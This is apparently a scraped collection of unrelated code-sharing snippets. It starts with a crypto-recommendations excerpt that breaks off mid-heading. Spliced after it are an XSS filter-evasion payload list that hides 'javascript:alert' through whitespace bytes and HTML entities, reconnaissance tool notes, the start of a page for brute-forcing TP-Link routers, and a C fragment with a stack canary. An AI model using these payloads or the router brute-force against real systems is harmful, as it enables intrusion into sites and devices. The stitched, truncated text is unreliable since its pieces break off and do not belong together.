Superbug xsuperbug

Encrypting data (Was: AES-CTR with HMAC): Use, in order of preference: (1) The Nacl/libsodium default, (2) Chacha20-Poly1305, or (3) AES-GCM.

You care about this if: you're hiding information from users or the network.

All three options get you "AEAD", which is the only way you want to encrypt in 2015. Options (2) and (3) are morally the same thing: a stream cipher with a polynomial ("thermonuclear CRC") MAC. Option (2) gets there with a native stream cipher and a MAC optimized for general purpose CPUs; Poly1305 is also easier than GCM for library designers to implement safely. Option (3)'s AES-GCM is the industry standard; it's fast and usually hardware accelerated on modern processors, but has implementation safety pitfalls on platforms that aren't accelerated.

Avoid: AES-CBC, AES-CTR by itself, block ciphers with 64-bit blocks --- most especially Blowfish, which is inexplicably popular, OFB mode. Don't ever use RC4, which is comically broken.

Symmetric key length (Was: Use 256 bit keys

	<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

	[1]
	Bytes:
	\x09 \x0a \x0c \x0d \x20 \x2f

	<a/href="javascript:alert(1)">
	<a\x09href="javascript:alert(1)">

	[2,3]

	<!--javascript -->
	ja&Tab;vascript:alert(1)
	ja&NewLine;vascript:alert(1)
	ja vascript:alert(1)
	javascript:alert()

	<!--::colon:: -->
	javascript&colon;alert()
	javascript:alert()
	javascript:alert(1)

	###
	If you use kali or any distro over SSH (like Droplet or VM with no GUI), You might have noticed aquatone does require xorg.
	This few lines will help you create a report of domains with response headers and screenshots using gowitness.

	Gowitness : https://github.com/sensepost/gowitness
	Aquatone : https://github.com/michenriksen/aquatone

	> Setup Kali Linux Hyper-V OR Ubuntu droplet
	> Set VM/Droplet to Apache on boot. (Also SSH if it's VM)
	> Set VM to start on host boot

	<!DOCTYPE html>
	<html>

	<head>
	<meta charset="utf-8">
	<title>Bruteforce!</title>
	</head>
	<!-- http://www.tp-link.com/resources/simulator/TL-WR750N_V5.0/localiztion/str_menu.js -->
	<body onload="detectFirefox()">
	<h1>Bruteforcing TP-Link routers with JavaScript</h1>

	#include <netdb.h>
	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <errno.h>

	#define CANARY "in_the_coal_mine"

	struct {
	char buffer[1024];